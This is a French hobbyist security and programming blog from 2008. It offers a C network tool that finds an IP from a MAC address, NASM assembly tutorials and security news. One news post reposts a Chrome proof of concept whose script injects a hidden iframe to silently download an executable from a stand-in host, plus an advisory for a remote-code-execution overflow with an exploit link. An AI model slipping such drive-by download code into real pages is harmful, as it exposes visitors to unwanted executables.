Suites a quelques remarques, un petit billet juste pour dire que je ne suis pas mort :)
Je n'ai plus de machine à ma disposition, donc mes projets n'avancent pas vraiment. Je vais bientôt emménager dans un nouvel appartement et pouvoir reprendre mes petits travaux :)
J'en profite pour présenter le blog de mon pote Onerius : ICI
A très bientôt donc.
vendredi 21 novembre 2008
mercredi 1 octobre 2008
Pour info...
J'exportais le code de mon outil de Reverse Arp en librairie dynamique (DLL) pour pouvoir l'appeler depuis un programme écrit en C#... Et la ben pas si facile de passer un char * en écriture en fait!!!
Voici donc la solution :
Signature de la fonction exportée de la DLL (écrite en C) :
extern "C" __declspec(dllexport) int getIPfromMAC(char * MAC_TO_LOOK_FOR, char * IP_RANGE_START, char * IP_RANGE_END, char * ret)
Appel en C# :
[DllImport("RARPL_DLL.dll", EntryPoint = "getIPfromMAC")]
static extern int getIPfromMAC(string MAC_TO_LOOK_FOR, string IP_RANGE_START, string IP_RANGE_END, StringBuilder buffer);
string ret="";
StringBuilder IPretour= new StringBuilder(50);
getIPfromMAC(MAC, IPdebut, IPfin, IPretour);
ret = IPretour.ToString();
Tout ca sous Visual Studio (il me semble que la directive extern "C" __declspec(dllexport) est spécifique a VS)...
Voici donc la solution :
Signature de la fonction exportée de la DLL (écrite en C) :
extern "C" __declspec(dllexport) int getIPfromMAC(char * MAC_TO_LOOK_FOR, char * IP_RANGE_START, char * IP_RANGE_END, char * ret)
Appel en C# :
[DllImport("RARPL_DLL.dll", EntryPoint = "getIPfromMAC")]
static extern int getIPfromMAC(string MAC_TO_LOOK_FOR, string IP_RANGE_START, string IP_RANGE_END, StringBuilder buffer);
string ret="";
StringBuilder IPretour= new StringBuilder(50);
getIPfromMAC(MAC, IPdebut, IPfin, IPretour);
ret = IPretour.ToString();
Tout ca sous Visual Studio (il me semble que la directive extern "C" __declspec(dllexport) est spécifique a VS)...
vendredi 26 septembre 2008
Nouvelle Bannière
Merci a MetriK pour la nouvelle bannière, je link son Portfolio, qui est encore en cours de construction.
Voila voila :p
Voila voila :p
MD5 Online Cracker - By Tr00ps
Un tool de recherche de correspondances MD5/plein-text codé par mon pote Tr00ps.
Le programme recherche le hash soumis sur une multitude de bases de données.
- Cracking par listes
- Export du résultat
- ...
Une nouvelle version implémentant la gestion des bases de données par l'utilisateur pour bientôt? :p
MD5 Online Cracker Download
Le programme recherche le hash soumis sur une multitude de bases de données.
- Cracking par listes
- Export du résultat
- ...
Une nouvelle version implémentant la gestion des bases de données par l'utilisateur pour bientôt? :p
MD5 Online Cracker Download
ARP Reverse Like
Un petit outil écrit en C pour faire une "sorte" de Reverse ARP...
EDIT: ha hé heu oui, faut linker avec : iphlpapi.lib ws2_32.lib :p
// - Reverse ARP Like Tool -
// - by 5m0k3 -
#include "stdafx.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>
#include <atlbase.h>
#include <shellapi.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <icmpapi.h>
typedef struct {
DWORD Address; // Replying address
unsigned long Status; // Reply status
unsigned long RoundTripTime; // RTT in milliseconds
unsigned short DataSize; // Echo data size
unsigned short Reserved; // Reserved for system use
void *Data; // Pointer to the echo data
IP_OPTION_INFORMATION Options; // Reply options
} IP_ECHO_REPLY, * PIP_ECHO_REPLY;
void getIP(char * ip, int bufsize)
{
struct sockaddr_in sAddIn;
struct hostent *sHostent;
char FAR buffer[ 64 ] = "";
WORD wVersionRequested;
WSADATA wsaData;
int iErr = 0;
int i = 0 ;
// Version de Winsock
wVersionRequested = MAKEWORD( 1, 1 );
// On démarre Winsock
iErr = WSAStartup( wVersionRequested, &wsaData );
// On récupère le nom de la machine
gethostname( buffer, sizeof( buffer ) );
sHostent = gethostbyname( buffer );
while( ( sHostent->h_addr_list[ i + 1 ] ) != NULL )
i++;
memcpy( &sAddIn.sin_addr.s_addr, sHostent->h_addr_list[ i ], sHostent->h_length );
strncpy(ip,inet_ntoa( sAddIn.sin_addr ),bufsize);
// On arrête Winsock
WSACleanup( );
}
int ping(char * Ip1)
{
SOCKADDR_IN sin;
DWORD Result1;
int ret=0;
// Fonction de convertion d'une chaine de caractère en structure IPv4
sin.sin_addr.s_addr = inet_addr(Ip1);
// On vérifie que les pointeurs vers les fonction ICMP ne sont pas nulls
if ((IcmpCreateFile == 0) || (IcmpSendEcho == 0))
{
ret=-1;
goto error;
}
// Initialise le service de PING
HANDLE hIP = IcmpCreateFile();
if (hIP == INVALID_HANDLE_VALUE)
{
ret=-2;
goto error;
}
// Construction du paquet ICMP
char acPingBuffer[1];
memset(acPingBuffer, '\xAA', sizeof(acPingBuffer));
PIP_ECHO_REPLY pIpe = (PIP_ECHO_REPLY)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer));
if (pIpe == 0)
{
ret=-3;
goto error;
}
pIpe->Data = acPingBuffer;
pIpe->DataSize = sizeof(acPingBuffer);
// Envoi du paquet
Result1 = IcmpSendEcho(hIP,sin.sin_addr.S_un.S_addr,acPingBuffer, sizeof(acPingBuffer), NULL, pIpe,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer), 1);
GlobalFree(pIpe);
error:
return ret;
}
void getIPfromMAC(char * searchedMAC)
{
DWORD i;
PMIB_IPNETTABLE pIpNetTable = NULL;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
DWORD dwResult;
char bufferMAC[100];
// On récupère la taille du cache ARP
dwResult = GetIpNetTable(NULL, &dwSize, 0);
if (dwResult == ERROR_INSUFFICIENT_BUFFER)
{
pIpNetTable = (MIB_IPNETTABLE *) malloc (dwSize);
}
// On récupère le cache ARP
if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0))== NO_ERROR)
{
if (pIpNetTable->dwNumEntries > 0)
{
// On boucle sur la liste récupérée
for (i=0; i<pIpNetTable->dwNumEntries; i++)
{
// On construit une chaine de caractères contenant l'adresse MAC de l'entrée en cours, pour la comparaison
_snprintf(bufferMAC,100,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",pIpNetTable->table[i].bPhysAddr[0],pIpNetTable->table[i].bPhysAddr[1],pIpNetTable->table[i].bPhysAddr[2],pIpNetTable->table[i].bPhysAddr[3],pIpNetTable->table[i].bPhysAddr[4],pIpNetTable->table[i].bPhysAddr[5]);
if(strcmp(bufferMAC,searchedMAC)==0)
{
printf("\n >>> %s is at %s :} <<<\n",searchedMAC,inet_ntoa(*(struct in_addr *)&pIpNetTable->table[i].dwAddr));
exit(0);
}
}
}
}
}
void parse(char * ip,int * tab)
// Parse une IP (chaine) en tableau d'int
{
char buffer[4];
unsigned long i=0,j=0,k=0;
while(i<4)
{
memset(buffer,0,4);
while((ip[j]!='.')&&(j<strlen(ip)&&(k<4)))
{
buffer[k]=ip[j];
j++;
k++;
}
tab[i]=atoi(buffer);
k=0;
j++;
i++;
}
}
int main(int argc, char * argv[])
{
if(argc<4)
{
printf("\nUsage: %s <Mac To Find>xx:xx:xx:xx:xx:xx <Ip Range Start> <Ip Range End>\n",argv[0]);
exit(0);
}
int RangeCurrent[4];
int RangeStart[4];
int RangeEnd[4];
char currentIP[100];
char buff[20],buff2[20],buff3[20],buff4[20];
parse(argv[2],RangeStart);
parse(argv[3],RangeEnd);
memcpy(RangeCurrent,RangeStart,sizeof(int)*4);
while(RangeCurrent[0]<=RangeEnd[0])
{
while(RangeCurrent[1]<=RangeEnd[1])
{
while(RangeCurrent[2]<=RangeEnd[2])
{
while (RangeCurrent[3]<255)
{
itoa(RangeCurrent[0],buff,10);
itoa(RangeCurrent[1],buff2,10);
itoa(RangeCurrent[2],buff3,10);
itoa(RangeCurrent[3],buff4,10);
// snprintf au lieu _snprintf si on est pas sous Visual Studio...
_snprintf(currentIP,100,"%s.%s.%s.%s",buff,buff2,buff3,buff4);
ping(currentIP);
getIPfromMAC(argv[1]);
if((RangeCurrent[2]==RangeEnd[2])&&(RangeCurrent[3]==RangeEnd[3])&&(RangeCurrent[1]==RangeEnd[1])&&(RangeCurrent[0]==RangeEnd[0]))
{
break;
}
RangeCurrent[3]++;
}
RangeCurrent[3]=1;
RangeCurrent[2]++;
}
RangeCurrent[2]=1;
RangeCurrent[1]++;
}
RangeCurrent[1]=1;
RangeCurrent[0]++;
}
return 0;
}
EDIT: ha hé heu oui, faut linker avec : iphlpapi.lib ws2_32.lib :p
// - Reverse ARP Like Tool -
// - by 5m0k3 -
#include "stdafx.h"
#include "string.h"
#include <stdlib.h>
#include <stdio.h>
#include <atlbase.h>
#include <shellapi.h>
#include <winsock2.h>
#include <iphlpapi.h>
#include <icmpapi.h>
typedef struct {
DWORD Address; // Replying address
unsigned long Status; // Reply status
unsigned long RoundTripTime; // RTT in milliseconds
unsigned short DataSize; // Echo data size
unsigned short Reserved; // Reserved for system use
void *Data; // Pointer to the echo data
IP_OPTION_INFORMATION Options; // Reply options
} IP_ECHO_REPLY, * PIP_ECHO_REPLY;
void getIP(char * ip, int bufsize)
{
struct sockaddr_in sAddIn;
struct hostent *sHostent;
char FAR buffer[ 64 ] = "";
WORD wVersionRequested;
WSADATA wsaData;
int iErr = 0;
int i = 0 ;
// Version de Winsock
wVersionRequested = MAKEWORD( 1, 1 );
// On démarre Winsock
iErr = WSAStartup( wVersionRequested, &wsaData );
// On récupère le nom de la machine
gethostname( buffer, sizeof( buffer ) );
sHostent = gethostbyname( buffer );
while( ( sHostent->h_addr_list[ i + 1 ] ) != NULL )
i++;
memcpy( &sAddIn.sin_addr.s_addr, sHostent->h_addr_list[ i ], sHostent->h_length );
strncpy(ip,inet_ntoa( sAddIn.sin_addr ),bufsize);
// On arrête Winsock
WSACleanup( );
}
int ping(char * Ip1)
{
SOCKADDR_IN sin;
DWORD Result1;
int ret=0;
// Fonction de convertion d'une chaine de caractère en structure IPv4
sin.sin_addr.s_addr = inet_addr(Ip1);
// On vérifie que les pointeurs vers les fonction ICMP ne sont pas nulls
if ((IcmpCreateFile == 0) || (IcmpSendEcho == 0))
{
ret=-1;
goto error;
}
// Initialise le service de PING
HANDLE hIP = IcmpCreateFile();
if (hIP == INVALID_HANDLE_VALUE)
{
ret=-2;
goto error;
}
// Construction du paquet ICMP
char acPingBuffer[1];
memset(acPingBuffer, '\xAA', sizeof(acPingBuffer));
PIP_ECHO_REPLY pIpe = (PIP_ECHO_REPLY)GlobalAlloc(GMEM_FIXED | GMEM_ZEROINIT,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer));
if (pIpe == 0)
{
ret=-3;
goto error;
}
pIpe->Data = acPingBuffer;
pIpe->DataSize = sizeof(acPingBuffer);
// Envoi du paquet
Result1 = IcmpSendEcho(hIP,sin.sin_addr.S_un.S_addr,acPingBuffer, sizeof(acPingBuffer), NULL, pIpe,sizeof(IP_ECHO_REPLY) + sizeof(acPingBuffer), 1);
GlobalFree(pIpe);
error:
return ret;
}
void getIPfromMAC(char * searchedMAC)
{
DWORD i;
PMIB_IPNETTABLE pIpNetTable = NULL;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
DWORD dwResult;
char bufferMAC[100];
// On récupère la taille du cache ARP
dwResult = GetIpNetTable(NULL, &dwSize, 0);
if (dwResult == ERROR_INSUFFICIENT_BUFFER)
{
pIpNetTable = (MIB_IPNETTABLE *) malloc (dwSize);
}
// On récupère le cache ARP
if ((dwRetVal = GetIpNetTable(pIpNetTable, &dwSize, 0))== NO_ERROR)
{
if (pIpNetTable->dwNumEntries > 0)
{
// On boucle sur la liste récupérée
for (i=0; i<pIpNetTable->dwNumEntries; i++)
{
// On construit une chaine de caractères contenant l'adresse MAC de l'entrée en cours, pour la comparaison
_snprintf(bufferMAC,100,"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",pIpNetTable->table[i].bPhysAddr[0],pIpNetTable->table[i].bPhysAddr[1],pIpNetTable->table[i].bPhysAddr[2],pIpNetTable->table[i].bPhysAddr[3],pIpNetTable->table[i].bPhysAddr[4],pIpNetTable->table[i].bPhysAddr[5]);
if(strcmp(bufferMAC,searchedMAC)==0)
{
printf("\n >>> %s is at %s :} <<<\n",searchedMAC,inet_ntoa(*(struct in_addr *)&pIpNetTable->table[i].dwAddr));
exit(0);
}
}
}
}
}
void parse(char * ip,int * tab)
// Parse une IP (chaine) en tableau d'int
{
char buffer[4];
unsigned long i=0,j=0,k=0;
while(i<4)
{
memset(buffer,0,4);
while((ip[j]!='.')&&(j<strlen(ip)&&(k<4)))
{
buffer[k]=ip[j];
j++;
k++;
}
tab[i]=atoi(buffer);
k=0;
j++;
i++;
}
}
int main(int argc, char * argv[])
{
if(argc<4)
{
printf("\nUsage: %s <Mac To Find>xx:xx:xx:xx:xx:xx <Ip Range Start> <Ip Range End>\n",argv[0]);
exit(0);
}
int RangeCurrent[4];
int RangeStart[4];
int RangeEnd[4];
char currentIP[100];
char buff[20],buff2[20],buff3[20],buff4[20];
parse(argv[2],RangeStart);
parse(argv[3],RangeEnd);
memcpy(RangeCurrent,RangeStart,sizeof(int)*4);
while(RangeCurrent[0]<=RangeEnd[0])
{
while(RangeCurrent[1]<=RangeEnd[1])
{
while(RangeCurrent[2]<=RangeEnd[2])
{
while (RangeCurrent[3]<255)
{
itoa(RangeCurrent[0],buff,10);
itoa(RangeCurrent[1],buff2,10);
itoa(RangeCurrent[2],buff3,10);
itoa(RangeCurrent[3],buff4,10);
// snprintf au lieu _snprintf si on est pas sous Visual Studio...
_snprintf(currentIP,100,"%s.%s.%s.%s",buff,buff2,buff3,buff4);
ping(currentIP);
getIPfromMAC(argv[1]);
if((RangeCurrent[2]==RangeEnd[2])&&(RangeCurrent[3]==RangeEnd[3])&&(RangeCurrent[1]==RangeEnd[1])&&(RangeCurrent[0]==RangeEnd[0]))
{
break;
}
RangeCurrent[3]++;
}
RangeCurrent[3]=1;
RangeCurrent[2]++;
}
RangeCurrent[2]=1;
RangeCurrent[1]++;
}
RangeCurrent[1]=1;
RangeCurrent[0]++;
}
return 0;
}
lundi 22 septembre 2008
NASM Pt.2
Un peu de zik spéciale c0der de l'extrème:
TTC - J'ai pas sommeil
Et un petit bout de code en Assembleur NASM, pour afficher une Message Box sous Win (et surtout pour s'initier un peu a l'API Windobe):
; Constantes et structures prédéfinies pour l'utilisation de l'API Windows
%include "win32n.inc"
; Librairies
; On importe ExitProcess depuis kernel32.dll
; et MessageBoxA depuis user32.dll
EXTERN ExitProcess
IMPORT ExitProcess kernel32.dll
EXTERN MessageBoxA
IMPORT MessageBoxA user32.dll
; Le segment des données:
segment .data USE32
MessageBox_TITRE db "Belle MessageBox",0
MessageBox_CONTENU db "5m0k3 c'est mon keupin, il roxX",0
ErrorCode dd 0
; Le segment de code:
segment .code USE32
;Début du code
..start:
;On pousse les arguments sur la pile (à l'envers hein...) avant d'appeller MessageBoxA
;int MessageBox(
; HWND hWnd,
; LPCTSTR lpText,
; LPCTSTR lpCaption,
; UINT uType
;);
push dword MB_ICONINFORMATION + MB_OKCANCEL ; les Boutons : http://bob.developpez.com/tutapiwin/article_19.php
push dword MessageBox_TITRE ; Titre
push dword MessageBox_CONTENU ; Contenu
push dword 0 ; Handle du popa, ici il n'y en a pas.
call [MessageBoxA]
;EAX contient une valeur représentant quel bouton à été cliqué
; On pousse le code d'erreur de retour (ici return 0;)
push dword ErrorCode
call [ExitProcess]
On aura besoin de ca : http://rs1.szif.hu/~tomcat/win32/win32n.zip
Et des binaires NASM pour Windows : http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=625081
Les librairies kernel32.lib et user32.lib pourront être trouvées en installant MASM : http://www.masm32.com/masmdl.htm dans le dossier C:\masm32\lib
Va maintenant falloir assembler tout ça :
D0ne! =)
TTC - J'ai pas sommeil
Et un petit bout de code en Assembleur NASM, pour afficher une Message Box sous Win (et surtout pour s'initier un peu a l'API Windobe):
; Constantes et structures prédéfinies pour l'utilisation de l'API Windows
%include "win32n.inc"
; Librairies
; On importe ExitProcess depuis kernel32.dll
; et MessageBoxA depuis user32.dll
EXTERN ExitProcess
IMPORT ExitProcess kernel32.dll
EXTERN MessageBoxA
IMPORT MessageBoxA user32.dll
; Le segment des données:
segment .data USE32
MessageBox_TITRE db "Belle MessageBox",0
MessageBox_CONTENU db "5m0k3 c'est mon keupin, il roxX",0
ErrorCode dd 0
; Le segment de code:
segment .code USE32
;Début du code
..start:
;On pousse les arguments sur la pile (à l'envers hein...) avant d'appeller MessageBoxA
;int MessageBox(
; HWND hWnd,
; LPCTSTR lpText,
; LPCTSTR lpCaption,
; UINT uType
;);
push dword MB_ICONINFORMATION + MB_OKCANCEL ; les Boutons : http://bob.developpez.com/tutapiwin/article_19.php
push dword MessageBox_TITRE ; Titre
push dword MessageBox_CONTENU ; Contenu
push dword 0 ; Handle du popa, ici il n'y en a pas.
call [MessageBoxA]
;EAX contient une valeur représentant quel bouton à été cliqué
; On pousse le code d'erreur de retour (ici return 0;)
push dword ErrorCode
call [ExitProcess]
On aura besoin de ca : http://rs1.szif.hu/~tomcat/win32/win32n.zip
Et des binaires NASM pour Windows : http://sourceforge.net/project/showfiles.php?group_id=6208&package_id=47034&release_id=625081
Les librairies kernel32.lib et user32.lib pourront être trouvées en installant MASM : http://www.masm32.com/masmdl.htm dans le dossier C:\masm32\lib
Va maintenant falloir assembler tout ça :
D0ne! =)
mercredi 10 septembre 2008
mardi 9 septembre 2008
Comme promis...
... Voila la trad que j'annonçais hier : ICI et je remercie les personnes qui m'ont aidé (ma dulcinée et sa moman et ce cher gros sac de zours). Pour rappel, voila le paper original : http://milw0rm.com/papers/212.
J'en profite pour parler un peu d' Other-Project.net, un blog que je tiens avec Tely et quelques amis (Tr00ps, ...). Il n'y a pas grand chose, on avance doucement. A noter une jolie liste d'ebooks quand même : ICI.
J'en profite pour parler un peu d' Other-Project.net, un blog que je tiens avec Tely et quelques amis (Tr00ps, ...). Il n'y a pas grand chose, on avance doucement. A noter une jolie liste d'ebooks quand même : ICI.
lundi 8 septembre 2008
Niouz
Hello, j'ai pas trop eu le temps de poster dernièrement, la faute à qui?
Il s'est néanmoins passé plein de choses que ce soit sur la planète terre ou dans ma vie, je sais bien que le 2eme, tout le monde s'en tape. Brayph:
Google sort un navigateur, et ca commence pas mal:
***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.
This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.
Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>
# milw0rm.com [2008-09-03]
PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.
Here is Description for this Vuln :
· Type of Issue : Buffer Overflow.
· Affected Software : Google Chrome 0.2.149.27.
· Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
· Impact: Remote code execution.
· Rating : Critical .
· Description :
The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving
a malicious page with an overly long title ( tag in HTML), the program causes a stack-based overflow and makes
it possible for attackers to execute arbitrary code on users’ systems.
· How an attacker could exploit the issue :
To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code.
He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would
be executed, giving him the privilege to make use of the affected system.
· Discoverer : Le Duc Anh - SVRT - Bkis
· About SVRT :
SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes
in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols
and embedded systems…
· Website : security.bkis.vn
· Mail : svrt[at]bkav.com.vn
http://milw0rm.com/sploits/2008-chrome.tgz
# milw0rm.com [2008-09-05]
Un paper plutôt intéressant, sur le bypassing de l'ASLR sous kernel 2.6.17-20 : Ici
Un autre qui démontre une injection SQL sous SyBase mais surtout le bypass de mod_security : Ici en allemand ; Mais vu que ma copine gère vraiment, telle une déesse, je vous balance une trad d'ici un moment.
Sinon je referais sûrement bientôt un truc sur Nasm (ou pitete Masm why not?), dès que j'en aurais le temps / l'envie.
Il s'est néanmoins passé plein de choses que ce soit sur la planète terre ou dans ma vie, je sais bien que le 2eme, tout le monde s'en tape. Brayph:
Google sort un navigateur, et ca commence pas mal:
***************************************************************************
Author: nerex
E-mail: nerex[at]live[dot]com
Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.
This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.
Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
**************************************************************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>
# milw0rm.com [2008-09-03]
PoC Code is in Attach file because this file is saved in 'Unicode' type for exploit.
Here is Description for this Vuln :
· Type of Issue : Buffer Overflow.
· Affected Software : Google Chrome 0.2.149.27.
· Exploitation Environment : Google Chrome (Language: Vietnamese) on Windows XP SP2.
· Impact: Remote code execution.
· Rating : Critical .
· Description :
The vulnerability is caused due to a boundary error when handling the “SaveAs” function. On saving
a malicious page with an overly long title (
it possible for attackers to execute arbitrary code on users’ systems.
· How an attacker could exploit the issue :
To exploit the Vulnerability, a hacker might construct a specially crafted Web page, which contains malicious code.
He then tricks users into visiting his Website and convinces them to save this Page. Right after that, the code would
be executed, giving him the privilege to make use of the affected system.
· Discoverer : Le Duc Anh - SVRT - Bkis
· About SVRT :
SVRT, which is short for Security Vulnerability Research Team, is one of Bkis researching groups. SVRT specializes
in the detection, alert and announcement of security vulnerabilities in software, operating systems, network protocols
and embedded systems…
· Website : security.bkis.vn
· Mail : svrt[at]bkav.com.vn
http://milw0rm.com/sploits/2008-chrome.tgz
# milw0rm.com [2008-09-05]
Un paper plutôt intéressant, sur le bypassing de l'ASLR sous kernel 2.6.17-20 : Ici
Un autre qui démontre une injection SQL sous SyBase mais surtout le bypass de mod_security : Ici en allemand ; Mais vu que ma copine gère vraiment, telle une déesse, je vous balance une trad d'ici un moment.
Sinon je referais sûrement bientôt un truc sur Nasm (ou pitete Masm why not?), dès que j'en aurais le temps / l'envie.
vendredi 22 août 2008
Du son, encore et encore...
C'est pas tout neuf non plus mais ca reste bien fresh :p :
Para One - Dudun Dun
Le clip est assez tripant :
Justice vs. Simian - We Are Your Friends
Pas de clip, mais c'est tellement énorme :D :
ModSelektor ft. TTC - 2000007
Para One - Dudun Dun
Le clip est assez tripant :
Justice vs. Simian - We Are Your Friends
Pas de clip, mais c'est tellement énorme :D :
ModSelektor ft. TTC - 2000007
mardi 19 août 2008
dimanche 17 août 2008
Une semaine à peine...
... Et ce blog est déja le plus populaire de la toile :o
Aujourd'hui, plein de news en pagaille, la semaine à été folle!!
Et puis, vu qu'on est dimanche quand meme:
TTC - Travailler (ORGASMIC Remix)
Aujourd'hui, plein de news en pagaille, la semaine à été folle!!
- XCMO Partners sortent leur 20ème ezine :
http://www.xmcopartners.com/ - (IN)Secure Mag N°17
- Sortie de RAFALE N°10 : http://www.rafale.org/
- Un nouveau petit tool qui pourrait bien nous etre fort utile, Assh, c'est ici : http://assh.sourceforge.net/
Et puis, vu qu'on est dimanche quand meme:
TTC - Travailler (ORGASMIC Remix)
samedi 16 août 2008
mercredi 13 août 2008
Ca pue la sale journée...
... On verra Bien!
"Tu kiff mon son comme la fin de la semaine" :
Cuizinier - L'enculé le plus cool
Pour la petite touche d'originalité :
Crystal Castles - Tholo (Je suis pas 100% sûr)
Ca bien sûr, parce que ça manque quand même :p :
Polycarpus - The Sex Virus
A part ca je suis en vacances demain, pour 2 semaines ENTIERES :D HAHAHA!
"Tu kiff mon son comme la fin de la semaine" :
Cuizinier - L'enculé le plus cool
Pour la petite touche d'originalité :
Crystal Castles - Tholo (Je suis pas 100% sûr)
Ca bien sûr, parce que ça manque quand même :p :
Polycarpus - The Sex Virus
A part ca je suis en vacances demain, pour 2 semaines ENTIERES :D HAHAHA!
mardi 12 août 2008
Soyons des fous!!!
... Et développons sous Nasm
=> http://nasm.sourceforge.net/
Téléchargement:
- Windoze
- Linuske
Un peu de supayr mizik, ca peut aider
http://www.deezer.com/#music/playlist/9927274/1201024
Et on commence par un pitit programme (COM) DOS:
[ORG 0x0100]
; On décale notre offset de 0x100. pourquoi? on est dans un programme COM (donc pas un EXE). DONC, les 256 premiers octets sont réservés au PSP (Program Segment Prefix). Il contient certaines infos relatives au programme parfois utiles au programmeur, et vu que je suis gentil, certaines sont fournies dans un tableau un peu plus bas ;)
[SEGMENT .data]
message db 'hello world',10,13,'$'
; Bin la... on déclare une variable ... elle s'apelle message, contient 'hello world', la suite sont un retour a la ligne (10 13) et la caractère de terminaison de chaine ($). Ca correspond à \n\0 en C, quoi.
[SEGMENT .text]
call affichage
; On apelle la routine affichage
call fin
; Puis la routine fin
affichage:
mov dx,message
; On met le pointeur sur notre chaine de caractère dans le registre DX
mov ah,0x09
; On met 0x09 dans ax, 9 est le numéro de la fonction de l’interruption dans 21h (car l'interruption 21h fournit plusieurs fonctions :]) qui écrit une chaîne de caractères à l’écran.
; Pitit rappel:
; EAX : partie basse 32 bits (bits 0 à 31) de RAX.
; AX : partie basse 16 bits (bits 0 à 15) de EAX.
; AH : partie haute 8 bits (bits 8 à 15) de AX.
; AL : partie basse 8 bits (bit 0 à 7) de AX.
; DONC un mov eax,0x09 ou un mov ax,0x09 auraient marché aussi
int 0x21
; On appelle l'interruption 0x21 (Liste d'interruptions un peu + loin)
ret
; On rend la main a l'appellant (return en C)
fin:
mov ax,0x4c
; On met 0x4c dans ax, 0x4c est le numéro de la fonction qui sert à quitter le programme
int 0x21
; On appelle l'interruption 0x21
Petite table des Interruptions DOS, non-exhaustive et reprise des cours de Haypo:
* 01h: Lancement d'un programme en mode pas-à-pas (permet de le débogueur).
* 02h: Interruption non masquable.
* 03h: Erreur de rupture.
* 04h: Erreur de dépassement (par calcul, exemple : "mov al, 200 ; add al,140" -> 340 > 255 !!!).
* 05h "Imprime écran", imprime une copie de l'écran en mode texte.
* 08h: Horloge tournant à 18.6 clics/seconde.
* 09h: Lecture du clavier. La touche est codée avec un 'code clavier' (scan code en anglais) traduit en code standart ASCII par l'interruption 16h.
* 0Bh: Gestion du port COM2.
* 0Ch: Gestion du port COM1.
* 10h: Gestion de la carte vidéo.
* 11h : Liste de configuration (mémoire, nombre de ports COM, co-processeur, ...).
* 12h: Taille de la mémoire basse (640 Ko maximum).
* 13h: Gestion des différents disques.
* 14h: Gestion de l'interface série (ports COM, voir les interruptions 0Bh et 0Ch).
* 15h: Manette de jeu, cassette et TopView.
* 16h: Conversion du code de la touche (lu par l'interruption 09h) en code standart ASCII.
* 17h: Gestion de l'imprimante.
* 18h: Rom BASIC.
* 19h: Rountine de chargement du DOS.
* 1Ah: Gestion de l'heure réelle.
* 1Bh: Surveille la pression de la combinaison de touche 'CTRL + C'.
* 1Ch: Chronomètre clic/clic à la vitesse de l'horloge 08h : 18.6 Hz. Sa valeur est stockée à l'emplacement 0040h: 0060h.
* 1Dh: La table d'initialisation vidéo.
* 1Eh: La table de paramètre des disquettes.
* 1Fh: La table des caractères graphiques.
* 20h: L'interruption DOS : Fin d'un programme au format COM (le format EXE est largement plus répendu aujourd'hui).
* 21h: L'interruption DOS : Fonctions universelles (disque dur, horloge, ...).
* 22h: L'interruption DOS : Adresse de fin de processus.
* 23h: L'interruption DOS : Surveille CTRL + PAUSE (ou CTRL + BREAK).
* 24h: L'interruption DOS : Erreur fatale d'un vecteur d'interruption.
* 25h: L'interruption DOS : Lecture directe d'un disque.
* 26h: L'interruption DOS : Ecriture directe sur un disque.
* 27h: L'interruption DOS : Programmes résidents.
* 28h: Fin d'un programme restant résidant en mémoire.
* 2Fh: Interruption pour plusieurs sous programmes. Gestion du réseau, driver CD-Rom MSCDEX, ...
Il y en a apparement une liste plus fournie ici: http://www.delorie.com/djgpp/doc/rbinter/
Regardons maintenant le schema simplifié du PSP:
Ben maintenant, on à écrit un programme en assembleur Nasm, va peut être finir par falloir... l'assembler justement... Comment on fait? On cherche :]
So, pour assembler, on va tout simplement faire
nasm programme1.asm -o programme1.com
Wahou, ca y est, je pense que maintenant nous sommes de vrais fous! La suite un de ces 4 :p
Byebye
=> http://nasm.sourceforge.net/
Téléchargement:
- Windoze
- Linuske
Un peu de supayr mizik, ca peut aider
http://www.deezer.com/#music/playlist/9927274/1201024
Et on commence par un pitit programme (COM) DOS:
[ORG 0x0100]
; On décale notre offset de 0x100. pourquoi? on est dans un programme COM (donc pas un EXE). DONC, les 256 premiers octets sont réservés au PSP (Program Segment Prefix). Il contient certaines infos relatives au programme parfois utiles au programmeur, et vu que je suis gentil, certaines sont fournies dans un tableau un peu plus bas ;)
[SEGMENT .data]
message db 'hello world',10,13,'$'
; Bin la... on déclare une variable ... elle s'apelle message, contient 'hello world', la suite sont un retour a la ligne (10 13) et la caractère de terminaison de chaine ($). Ca correspond à \n\0 en C, quoi.
[SEGMENT .text]
call affichage
; On apelle la routine affichage
call fin
; Puis la routine fin
affichage:
mov dx,message
; On met le pointeur sur notre chaine de caractère dans le registre DX
mov ah,0x09
; On met 0x09 dans ax, 9 est le numéro de la fonction de l’interruption dans 21h (car l'interruption 21h fournit plusieurs fonctions :]) qui écrit une chaîne de caractères à l’écran.
; Pitit rappel:
; EAX : partie basse 32 bits (bits 0 à 31) de RAX.
; AX : partie basse 16 bits (bits 0 à 15) de EAX.
; AH : partie haute 8 bits (bits 8 à 15) de AX.
; AL : partie basse 8 bits (bit 0 à 7) de AX.
; DONC un mov eax,0x09 ou un mov ax,0x09 auraient marché aussi
int 0x21
; On appelle l'interruption 0x21 (Liste d'interruptions un peu + loin)
ret
; On rend la main a l'appellant (return en C)
